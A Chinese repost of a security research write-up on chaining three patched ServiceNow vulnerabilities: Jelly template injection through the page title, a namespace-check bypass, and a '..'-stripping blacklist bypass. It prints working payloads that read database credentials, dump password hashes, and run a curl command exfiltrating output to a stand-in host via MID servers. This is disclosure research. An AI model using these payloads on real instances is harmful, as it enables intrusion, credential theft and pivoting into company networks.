漏洞串联艺术: 获取您的所有ServiceNow数据
Assetnote的客户被提前告知了我们为此漏洞创建的缓解措施。我们想特别强调ServiceNow对我们报告的快速响应。ServiceNow的安全团队在处理此报告时与我们保持了高度的沟通,合作非常愉快。
ServiceNow是一个用于业务转型的平台。通过其模块,ServiceNow可以用于从人力资源和员工管理、自动化工作流,到知识库的任何事情。我们开始对这个平台进行安全研究有几个原因,这些原因使ServiceNow成为一个潜在的有吸引力的目标:
-
由于大多数公司选择使用ServiceNow的云服务,这些基于云的实例通常是外部可访问的。
-
使用ServiceNow的客户可以选择托管敏感数据,例如员工和人力资源记录。
-
由于ServiceNow通常是云托管的,但需要访问公司内部网络中的数据,通常会配置ServiceNow与代理服务器进行连接。这个代理服务器被称为“MID Server”,位于公司的内部网络中。由于ServiceNow的设计,在ServiceNow实例上拥有管理员权限会导致在MID服务器上执行命令,因此身份验证绕过的影响通常相当严重。
在三到四周的时间内,我们发现了一连串的漏洞,这些漏洞允许完全访问数据库和任何配置的MID服务器。
以下是为这些问题分配的CVE编号:
CVE-2024-4879CVE-2024-5178CVE-2024-5217
ServiceNow 架构
ServiceNow是一个Java单体应用,仅.jar文件就超过20GB。通常情况下,您不会自行托管,而是选择通过云实例提供。ServiceNow在https://developer.servicenow.com/ 提供免费的开发者实例,采用共享租赁设置,非常适合测试和调试。
在审计一个新项目时,我首先关注应用程序如何处理路由。
如果在ServiceNow实例上访问/foo,它是如何决定如何处理的呢?
由于ServiceNow设计上具有极高的可定制性,大部分配置都存储在数据库中。与典型的Java应用程序不同,后者通常通过在web.xml中注册一堆Servlet并将端点硬编码到应用程序中来处理请求,ServiceNow实例会查询一组数据库表来决定大多数请求的路由。
为了更好地理解我们稍后将详细介绍的漏洞,我们需要先解释一些ServiceNow的概念:
-
Tables
ServiceNow的最基本构建块是表(Tables)。几乎所有的ServiceNow数据都存储在表中,从用户(sys_users)、页面(sys_pages)到配置(sys_properties)。
这些表与底层数据库一一对应;例如,数据库中有一个sys_users表。ServiceNow提供了一个简单的机制来更新数据库中的任何表 - 只需在URL中浏览到相应的位置。例如,如果您想查看用户列表,可以浏览到/sys_users_list.do。
如果要创建新用户,可以浏览到/sys_users.do。这对任何数据库中的表都适用。当然,允许任何用户修改任何内容会非常不安全,因此ServiceNow在此基础上构建了复杂的访问控制列表(ACL)系统来限制访问。您可以向用户授予对整个表、单行甚至单个字段的访问权限。
-
Processors
另一种处理请求的方式是通过处理器(Processors)。您可以将其视为最接近API端点的方式。ServiceNow提供了基于Rhino的JavaScript引擎,允许用户在设计自定义端点时拥有很大的自由度。
此外,他们还提供了广泛的辅助类,大多数是用Java编写的,允许配置平台的几乎任何部分。以下是随机选取的一个样本处理器,展示了它的基本样式:
1redirectBasedOnTheDevice();
2
3function redirectBasedOnTheDevice() {
4 var userId = g_request.getParameter("sysparm_id");
5 var requestId = g_request.getParameter("sysparm_request_id");
6 var token = g_request.getParameter("sysparm_token");
7 var redirectUrl = g_request.getParameter("sysparm_redirect_url");
8 gs.getSession().putProperty('pwd_redirect_url', redirectUrl);
9 var resetPasswordURL = this.getInstanceURL() + '/nav_to.do?uri='+ encodeURIComponent('$pwd_new.do?sysparm_id='+userId+'&sysparm_request_id='+requestId+'&sysparm_nostack=true&sysparm_token=' + token);
10 if(GlideMobileExtensions.getDeviceType() == 'm' || GlideMobileExtensions.getDeviceType() == 'mobile') {
11 gs.debug("Password Reset request coming in from a mobile device. Changing the URL to be mobile compatible");
12 resetPasswordURL = this.getInstanceURL() + '/$pwd_new.do?sysparm_id='+userId+'&sysparm_request_id='+requestId+'&sysparm_nostack=true&sysparm_token=' + token;
13 }
14 g_response.sendRedirect(resetPasswordURL);
15}
由于大多数实例都托管在共享租赁设置中,为确保无法访问底层机器,采用了多层沙箱机制。
JavaScript执行被沙箱化,任何涉及底层文件系统的辅助类都受到严格控制,并限制在白名单目录中。
此外,Java SecurityManager作为最后防线,防止读写超出租户目录范围。
即使有这些限制,未经授权的ServiceNow服务上的JavaScript执行仍是一个严重问题,相当于入侵了实例。
-
UI Pages
最常见的请求类型将会经过UI页面(UI Pages)。UI页面基于Apache Jelly库的XML模板运行。以下是一个样本UI页面:
1<?xml version="1.0" encoding="utf-8" ?>
2<j:jelly trim="false" xmlns:j="jelly:core" xmlns:g="glide" xmlns:j2="null" xmlns:g2="null">
3 <g:evaluate var="jvar_product_name">
4 gs.getProperty('glide.product.name')
5 </g:evaluate>
6 <div style="font-size: 36px">Hello from ${jvar_product_name}, your query param is ${sysparm_foo}</div>
7 <g2:evaluate var="jvar_time">
8 new GlideDate().getByFormat("HH:mm:ss");
9 </g2:evaluate>
10 <div style="font-size: 36px">The time is $[jvar_time]</div>
11</j:jelly>
如果我将此UI页面保存为名为test的页面,并访问/test.do?sysparm_foo=abc,将会看到以下内容:
从这个简单的示例中,我们可以看到几点:
-
Jelly模板可以像处理器一样执行JS。这可以通过
g:evaluate
或g2:evaluate
标签来实现,这些标签是ServiceNow提供的自定义标签。 -
Jelly还有自己的模板表达式语言,称为JEXL,用
${…}
或$[…]
标签表示。这也像JS一样以类似的方式进行沙箱化。 -
查询字符串中的URL参数会自动传递到模板中作为变量使用。
-
Jelly模板默认转义字符串以防止跨站脚本攻击(XSS),因此传递
sysparm_foo=
将是无害的。要禁用转义,必须使用no_escape标签手动进行设置。
UI页面存储在两个位置,一是存储在本地文件系统的ui.jforms/文件夹下的“基本”UI页面模板列表中。此外,还有一个sys_ui_pages表,您可以在其中添加任何想要的页面。
潜在问题迹象
如果您是一个特别敏锐的读者,您可能会问为什么评估使用两种不同的前缀(g: 和 g2:)以及两种不同的模板表达式语法(${}
和 $[]
)。
这是因为UI渲染工作分为两个阶段。大致流程如下:
-
ServiceNow首先渲染模板时只处理 g: 和 j: 标签,并忽略 g2: 和 j2:。它使用
${}
作为表达式分隔符,这在文档中称为第一阶段。任何用户提供的值都将插入到模板中。 -
ServiceNow然后再次评估模板,这次使用 g2: 和 j2: 作为前缀,并使用 $[] 作为模板分隔符,这被称为第二阶段。
这种双重评估结构意味着,在第一阶段的任何内容注入都有可能导致模板注入。根本上说,这种设计可能是有风险的,因为哪些接收器会导致模板注入可能并不立即显而易见。
当然,开发人员已经考虑到了这一点。对于最明显的注入向量,已经存在几种缓解措施——用户提供的输入中的 $[
和 ${
会被转义,<j2:
和 <g2:
也会被转义。
我们将在后面详细探讨这些缓解措施。目前,如果我们能在未经认证的UI中找到可以在第一阶段注入XML标签的地方,那么我们就有很大的可能实现模板注入。
漏洞1:标题注入
预认证情况下可访问的页面和处理器列表存储在 sys_public
表中。注意到双重评估后,我们开始寻找可以在第一阶段注入标签的地方。
最明显的情况是使用了 <g:no_escape>
标签,因此我们首先通过 grep 查找它。不久,我们在文件系统中的 ui.jtemplates/html_page_title.xml
找到了这个模板,它是每个页面头部的一部分:
1<g:evaluate var="jvar_page_title" jelly="true">
2 var pageTitle = jelly.jvar_page_title;
3 if (JSUtil.nil(pageTitle)) {
4 var productName = gs.getProperty('glide.product.name', 'ServiceNow'),
5 description = gs.getProperty('glide.product.description');
6 if (gs.getProperty('glide.ui.title.use_product_name_only', 'false') == 'true')
7 pageTitle = productName;
8 else
9 pageTitle = productName + ' ' + description;
10 }
11 SNC.GlideHTMLSanitizer.sanitizeWithConfig('HTMLSanitizerConfig', pageTitle);
12</g:evaluate>
13<title><g:no_escape>${jvar_page_title}</g:no_escape></title>
漏洞1:标题注入
预认证情况下可访问的页面和处理器列表存储在 sys_public
表中。注意到双重评估后,我们开始寻找可以在第一阶段注入标签的地方。
最明显的情况是使用了 <g:no_escape>
标签,因此我们首先通过 grep 查找它。不久,我们在文件系统中的 ui.jtemplates/html_page_title.xml
找到了这个模板,它是每个页面头部的一部分:
1<g:evaluate var="jvar_page_title" jelly="true">
2 var pageTitle = jelly.jvar_page_title;
3 if (JSUtil.nil(pageTitle)) {
4 var productName = gs.getProperty('glide.product.name', 'ServiceNow'),
5 description = gs.getProperty('glide.product.description');
6 if (gs.getProperty('glide.ui.title.use_product_name_only', 'false') == 'true')
7 pageTitle = productName;
8 else
9 pageTitle = productName + ' ' + description;
10 }
11 SNC.GlideHTMLSanitizer.sanitizeWithConfig('HTMLSanitizerConfig', pageTitle);
12</g:evaluate>
13<title><g:no_escape>${jvar_page_title}</g:no_escape></title>
在这种情况下,jelly.jvar_page_title
类似于 ${jvar_page_title}
。到目前为止,我们已经看到模板中的内部变量使用 jvar_
前缀,而外部变量使用 sysparm_
。
然而,这只是惯例——如果我们提供一个查询参数 ?jvar_page_title=xyz
,该变量将传递到模板中。如果变量未被覆盖,它将保留其值。这类似于 PHP 的旧 register_globals
特性,我们知道这从未导致任何安全漏洞。
所以,我们尝试访问 /login.do?jvar_page_title=<b>aaa</b>
。令我们惊讶的是,页面标题竟然被注入了!这似乎完全不是预期的。
有一个问题。要利用模板注入,我们可能需要编写 XML 标签。然而,ServiceNow 在页面标题上运行了其 HTML 清理器 SNC.GlideHTMLSanitizer.sanitizeWithConfig
。如果我们能绕过或忽略这一点,那将非常棒。现在是时候深入研究 ServiceNow 的源代码了。
在源代码中,我们发现这个函数在 com.glide.htmlsanitizer.GlideHTMLSanitizer
中实现:
1public static String sanitize(String value, Object context, HtmlChangeListener listener) {
2 if (EdgeEncryptionUtil.isEncryptedString((String)value)) {
3 return GlideHTMLSanitizer.addEdgeHTMLEscapeMetadata(value);
4 }
5 String result = value;
6 if (HTMLSanitizerConfig.get().getPolicy() != null) {
7 result = fLoggingEnabled.isTrue()
8 ? HTMLSanitizerConfig.get().getPolicy().sanitize(result, (HtmlChangeListener)new GlideHtmlChangeListener(listener), context)
9 : HTMLSanitizerConfig.get().getPolicy().sanitize(result, listener, context);
10 }
11 return result;
12}
查看 HTMLSanitizerConfig
,我们可以看到允许的属性和标签列表:
1public class HTMLSanitizerConfig implements Serializable {
2 // ...
3 private static final String DEFAULT_GLIDE_HTML_ATTRIBUTE_GLOBAL_WHITELIST = "id,class,lang,title,style";
4 private static final String DEFAULT_GLIDE_HTML5_ELEMENT_WHITELIST = "canvas, details, summary, s, video";
5 private static final String DEFAULT_GLIDE_HTML_ELEMENT_WHITELIST = "a, label, noscript, h1, h2, h3, h4, h5, h6, p, i, b, u, strong, em, small, big, pre, code, cite, samp, sub, sup, strike, center, blockquote, hr, br, col, font, map, span, div, img, ul, ol, li, dd, dt, dl, tbody, thead, tfoot, table, td, th, tr, colgroup, fieldset, legend, style, button, form, input, select, textarea, option, figure, tt, html, body, head, title, caption, link, meta, var, canvas, details, summary, s, video";
6 private static final String DATA_SANITIZATION_WARNING = "HTMLSanitizerConfig: blocking use of data protocol containing script from %s.%s";
7 // ...
8}
查看 DEFAULT_GLIDE_HTML_ELEMENT_WHITELIST
,某些标签会引起注意。没错,style
标签是被允许的!这不仅从 HTML 清理器的角度来看是糟糕的,而且允许我们非常容易地编写任意标签内容:
1/login.do?jvar_page_title=<style><foo>abc</foo></style>
在这种情况下,清理器只会看到 HTML style
标签中的一些文本内容,这是可以的且被允许的。然而,当被 Jelly XML 解析器解释时,style
元素没有特定含义,所以其内部内容将被解析为 XML。
这使我们摆脱了清理器的约束,允许我们注入任何我们想要的模板内容。
漏洞2:模板注入的缓解措施绕过
如果没有缓解措施,这将是致命的。我们可以简单地注入类似 <g2:evaluate>evilcode();</g2:evaluate>
的内容,当第二阶段运行时,它将执行我们提供的代码。
然而,如前所述,ServiceNow 的开发人员考虑到了这种情况,并实施了几项缓解措施以防止模板注入。大多数缓解措施在 com.glide.ui.jelly.JellyEscapeTokenUtil
中处理,并逃避以下内容:
-
$[
-
${
-
<g2:
-
<j2:
-
</g2:
-
</j2:
这看起来不可靠,但实际上非常难以绕过。Apache Jelly XML 解析器是一个严格遵循标准的解析器,因此像 < g2:
或 <g2 :
这样的空格技巧不起作用。你可能会想到可以注入 <g:evaluate>
,但这也不起作用。为什么?
回到我们共享的示例模板,特别是头部:
1<j:jelly trim="false" xmlns:j="jelly:core" xmlns:g="glide" xmlns:j2="null" xmlns:g2="null">
2 ...
3</j:jelly>
阶段的工作方式如下:
在第一阶段,j:
前缀绑定到 jelly 核心标签,g:
命名空间绑定到 Glide(ServiceNow 自定义)标签。j2:
和 g2:
绑定到 null 命名空间,因此它们被跳过。 在第二阶段重新评估模板之前,ServiceNow 将头部更改为:
1<j:jelly trim="false" xmlns:j="null" xmlns:g="null" xmlns:j2="jelly:core" xmlns:g2="glide">
2 ...
3</j:jelly>
因此,在第二阶段,只有带有 j2:
或 g2:
前缀的标签才会运行。
考虑了一段时间后,我们想到——为什么不绑定我们自己的命名空间呢?
1/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:z="glide"><z:evaluate>gs.addErrorMessage(7*7);</z:evaluate></j:jelly></style>
不幸的是,这不起作用,我们得到以下错误:
1jelly namespace glide registered to invalid prefix z
检查代码,我们发现每当我们在 com.glide.ui.jelly.GlideJellyXMLParser
中绑定命名空间时,它会检查一些前提条件:
1public class GlideJellyXMLParser extends XMLParser {
2 private static final String NAMESPACE_ERROR_MSG = "jelly namespace %s registered to invalid prefix %s";
3
4 // ...
5
6 public void startPrefixMapping(String prefix, String namespaceURI) throws SAXException {
7 if (this.isInvalidPrefixMapping(prefix, namespaceURI)) {
8 throw new SecurityException(String.format(NAMESPACE_ERROR_MSG, namespaceURI, prefix));
9 }
10 super.startPrefixMapping(prefix, namespaceURI);
11 }
12
13 private boolean isInvalidPrefixMapping(String prefix, String namespace) {
14 if (StringUtil.nil((String)namespace) || fLimitJellyNamespace.isFalse()) {
15 return false;
16 }
17 String uri = WHITESPACE_PATTERN.matcher(namespace).replaceAll(EMPTY_STRING);
18 return this.isInvalidGlidePrefix(uri, prefix) || this.isInvalidJellyPrefix(uri, prefix);
19 }
20
21 private boolean isInvalidGlidePrefix(String uri, String prefix) {
22 return "glide".equals(uri) && !"g".equals(prefix) && !"g2".equals(prefix);
23 }
24
25 private boolean isInvalidJellyPrefix(String uri, String prefix) {
26 return "jelly:core".equals(uri) && !"j".equals(prefix) && !"j2".equals(prefix);
27 }
28}
当你绑定任何命名空间时,代码调用 startPrefixMapping
,它检查 isInvalidPrefixMapping
。一个检查是 isInvalidGlidePrefix
检查。如果前缀不是 g
或 g2
,则拒绝访问 glide
命名空间。由于我们试图将前缀 z
绑定到 Glide 命名空间,因此会得到错误。然而,即使 g
已经绑定到 null 命名空间,为什么不重新绑定 g
呢?
1/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:g="glide"><g:evaluate>gs.addErrorMessage(7*7);</g:evaluate></j:jelly></style>
尝试这个时,我们遇到另一个缓解措施:
1GlideExpressionScript: jelly injection attempt blocked
追踪源代码,我们发现 com.glide.ui.jelly.GlideExpressionScript
中的另一个缓解措施:
1public class GlideExpressionScript extends ExpressionScript implements IProperties, IJellyConstants {
2 private static final GlideProperty fEscapeAllScript = new GlideProperty("glide.ui.escape_all_script");
3 private static final GlideProperty fAllowDeepHtmlValidation = new GlideProperty("glide.ui.allow_deep_html_validation", false);
4 private static final GlideProperty fAllowNamespaceInNoEscape = new GlideProperty("glide.ui.jelly.allow_ns_in_no_escape", false);
5 private static final Pattern fPatternDollar = Pattern.compile("\$");
6 private static final Pattern GLIDE_NS_PATTERN = Pattern.compile("xmlns:(g2|g)\s*=\s*"glide"");
7 private static final String JELLY_INJECTION_ATTEMPT_MSG = "GlideExpressionScript: jelly injection attempt blocked from %s";
8 private GlideJellyContext fGJC;
9
10 // ...
11
12 private boolean hasNoEscapeWrappedNamespaceDeclaration(String value) {
13 if (fAllowNamespaceInNoEscape.isTrue() || "false".equals(this.fGJC.getVariable("no_escape"))) {
14 return false;
15 }
16 return GLIDE_NS_PATTERN.matcher(value).find();
17 }
18
19 private void runWithEscaping(XMLOutput output) throws JellyTagException {
20 // ...
21 IGlideExpressionWrapper wrapper = (IGlideExpressionWrapper)this.getExpression();
22 String value = wrapper.evaluateAsString(this.fGJC, additionalEscapes = this.getEscapes(text = wrapper.getExpressionText()));
23 if (value == null) {
24 return;
25 }
26 if (this.hasNoEscapeWrappedNamespaceDeclaration(value)) {
27 Log.warn((String)String.format(JELLY_INJECTION_ATTEMPT_MSG, text));
28 output.getWriter().setEscapeText(true);
29 }
30 // ...
31 }
32}
从中我们看到,如果我们的输入匹配 /xmlns:(g2|g)s*=s*"glide"/
,我们将被阻止。但这也是可以绕过的——我们只需在 glide
周围使用单引号!
最后,我们使用这个 payload
/login.do?jvar_page_title=<style><j:jelly xmlns:j="jelly" xmlns:g='glide'><g:evaluate>gs.addErrorMessage(7*7);</g:evaluate></j:jelly></style>
结果我们成功执行了代码!
漏洞3:文件系统过滤绕过
JavaScript 执行已经给了我们很大的访问权限,但这还不够。在强化实例中,脚本执行虽然能给我们很大的访问权限,但平台对某些表施加了额外的访问控制。
这意味着我们可能无法读取所有敏感数据。理想情况下,我们希望读取包含数据库连接字符串的凭证文件,直接连接到数据库。
在云端,Glide 将数据库凭证存储在 /glide/nodes/[[node]]/conf/glide.db.properties
下,因此我们开始寻找访问这个文件的方法。
一个立即引起我们注意的辅助类是 SecurelyAccess
。
正如其名称所示,这个类设计为只允许对文件系统中的某些文件进行安全读访问。其思路是你可以写类似 new SecurelyAccess("some/file/here").getBufferedReader()
的代码来获取允许文件的句柄。
检查的列表非常详尽:
1public static boolean isValidFilePath(String fileName, boolean isDownloadFile, boolean existenceCheck) {
2 // existenceCheck 和 isDownloadFile 在我们的情况下都是 false
3 block11: {
4 if (!SecurelyAccess.isAcceptableCmdArgOrFileName(fileName)) {
5 Log.securityWarn((String)String.format(LogFormatEnum.NotAcceptableCmdArgOrFileName.getFormat(), fileName));
6 return false;
7 }
8 if (fIgnoreFilePathRestrictions.isTrue()) {
9 return true;
10 }
11 if (SecurelyAccess.isMaintOrZboot()) {
12 return true;
13 }
14 try {
15 if (fileName.contains("../")) {
16 Log.securityWarn((String)String.format(LogFormatEnum.NotAllowParentDirectoryInPath.getFormat(), fileName));
17 return false;
18 }
19 File proposedFile = new File(fileName);
20 String filePath = proposedFile.getCanonicalPath().toLowerCase();
21 if (existenceCheck && SecurelyAccess.isPathInList(filePath, FILEPATH_ALLOWLIST)) {
22 return true;
23 }
24 if (!existenceCheck && proposedFile.exists() && proposedFile.isDirectory()) {
25 Log.securityWarn((String)String.format(LogFormatEnum.NotAllowDirectoryPath.getFormat(), fileName));
26 return false;
27 }
28 String tempDir = SysFileUtil.getTempDir().getCanonicalPath().toLowerCase();
29 if (filePath.startsWith(tempDir)) {
30 return true;
31 }
32 if (isDownloadFile) {
33 String customerUploadsDir = SysFileUtil.getCustomerUpload().getCanonicalPath().toLowerCase();
34 String tomcatLogsDir = SysFileUtil.getTomcatLogsDirectory().getCanonicalPath().toLowerCase();
35 if (filePath.startsWith(tomcatLogsDir) || filePath.startsWith(customerUploadsDir)) {
36 return true;
37 }
38 break block11;
39 }
40 String glideHome = new File(SysFileUtil.getGlideHome()).getCanonicalPath().toLowerCase();
41 String tomcatHome = SysFileUtil.getTomcatHome().getCanonicalPath().toLowerCase();
42 Log.warn((String)String.format(LogFormatEnum.MapFilePathToAbsolutePath.getFormat(), fileName, proposedFile.getAbsolutePath(), proposedFile.exists()));
43 Log.warn((String)String.format(LogFormatEnum.GlideHomeAndTomcatHomePaths.getFormat(), glideHome, tomcatHome));
44 return (filePath.startsWith(glideHome) || filePath.startsWith(tomcatHome)) && !SecurelyAccess.isBlackListedFile(filePath);
45 }
46 catch (Exception e) {
47 Transaction.cancelIfNecessary(e);
48 Log.warn((Throwable)e);
49 }
50 }
51 return false;
52}
这里,glideHome
是我们的文件节点(类似于 /glide/node/[[node]]/
),所以唯一阻止我们访问所有文件的是黑名单。让我们来看看:
我们似乎无法访问 conf
目录中的任何内容。这看起来像是非常强大的保护措施,因为他们调用了 getCanonicalPath
。
1private static final List<String> FILEPATH_BLACKLIST =
2 ImmutableList.of(
3 "/sys.scripts/",
4 "/classes/",
5 "/lib/",
6 "/conf/",
7 "/properties/",
8 "/web-inf/",
9 "/key/"
10 );
然而,在 getBufferedReader
调用中有些东西引起了我们的注意:
1// SecurelyAccess.java
2
3 @GlideScriptable
4 public BufferedReader getBufferedReader() throws FileNotFoundException {
5 return new BufferedReader(new FileReader(this.getFile()));
6 }
7
8 @GlideScriptable
9 public File getFile() {
10 // ..省略..
11 return SysFileUtil.getPath(this.fFileName);
12 }
13
14// -->
15// SysFileUtil.java
16
17 private static File getPath(String path, boolean useProxy) {
18 path = SysFileUtil.cleanupPath(path);
19 File f = SysFileUtil.createFile(path, useProxy);
20 try {
21 if (f.exists()) {
22 return f;
23 }
24 }
25 catch (SecurityException securityException) {
26 // 空的 catch 块
27 }
28 return SysFileUtil.getPathInGlideHome(path, false, useProxy);
29 }
30
31 public static String cleanupPath(String path) {
32 return path.replaceAll("\.\.", "");
33 }
我们提供给 SecurelyAccess
的文件名会传递给 SysFileUtil.cleanupPath
,它会在访问路径之前去除路径中的双点 ..
!这意味着我们可以传递类似 /glide/node/[[node]]/co..nf/glide.db.properties
的路径来绕过黑名单!
其余的 payload 只是读取 ServiceNow 文档的问题。我们定下了这个 payload 来转储数据库凭证:
1<style><j:jelly xmlns:j="jelly:core" xmlns:g='glide'><g:evaluate>z=new Packages.java.io.File("").getAbsolutePath();z=z.substring(0,z.lastIndexOf("/"));u=new SecurelyAccess(z.concat("/co..nf/glide.db.properties")).getBufferedReader();s="";while((q=u.readLine())!==null)s=s.concat(q,"n");gs.addErrorMessage(s);</g:evaluate></j:jelly></style>
全面接管
正如介绍中提到的,大多数生产环境配置了一个或多个 MID 服务器。这些服务器本身就设计允许命令执行。ServiceNow 提供了 SncProbe
类,它允许直接在实例上运行 shell 命令。
一个获取回显的示例 payload 如下:
1p = SncProbe.get("Command");
2p.setName("curl http://my.honeypot.server.example/?x=$(uname -a|base64 -w0)");
3p.create("*");
这将会在每个配置的 MID 服务器上运行一次该命令。使用 Burp Suite 我们可以验证我们可以访问任何内容。
如果没有配置 MID 服务器,我们可以使用以下命令访问实例的用户数据库:
1gr = new GlideRecord("sys_user");
2gr.query();
3s = "";
4while(gr.next()) s = s.concat(gr.user_name, " : ", gr.user_password, "<br/>");
5gs.addErrorMessage(s);
这将会访问实例上每个用户的密码哈希:
(顺便说一句,似乎唯一的“真实”账户是 admin
和 aes.creator
—— 此表中的其他账户在其密码哈希字段中似乎有虚拟数据,可能是因为它们是 ServiceNow 开发实例中的示例数据)。
结论
我们于2024年5月14日向ServiceNow披露了这一系列漏洞。
针对 CVE-2024-4879,ServiceNow已经向客户发布了更新。此外,他们还提供了详细的修补版本和热修复列表,客户可能已经应用了这些更新。
针对 CVE-2024-5178,ServiceNow于6月向客户发布了补丁。他们还提供了详细的修补版本和热修复列表,供那些可能在6月选择不修补的客户使用。
针对 CVE-2024-5217,ServiceNow于6月向客户发布了补丁。他们也提供了详细的修补版本和热修复列表,供那些可能在6月选择不修补的客户使用。
尽管ServiceNow实施了多种缓解措施以降低模板系统中双重评估的风险,但我们仍然找到了一种实现代码执行的方法。即使有更多的缓解措施,只要有一个未转义的注入点,就存在代码执行的风险。
一如既往,当我们的攻击面管理平台发现这些漏洞影响到客户时,我们会第一时间通知他们。我们将继续进行原创安全研究,努力告知客户有关其攻击面上的零日漏洞。
漏洞点评
比较精彩的利用过程,漏洞1是作者找到一个不转义的标签值能够被外部变量非常规注入,漏洞二是作者利用二次渲染机制,导致强制回退第二次处理逻辑使其能够以第一次处理逻辑进行处理<g
标签,绕过标签过滤(非常精彩的尝试),漏洞三是利用已有机制的巧妙绕过黑名单限制,导致越权访问敏感文件路径,全面接管则是利用MID服务器正常命令执行接口控制其他公司的内网代理服务器,从云上打到用户内网,非常牛逼。
Thanks for Adam Kues, sources: https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
原文始发于微信公众号(一个不正经的黑客):漏洞串联艺术: 获取您的所有ServiceNow数据
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论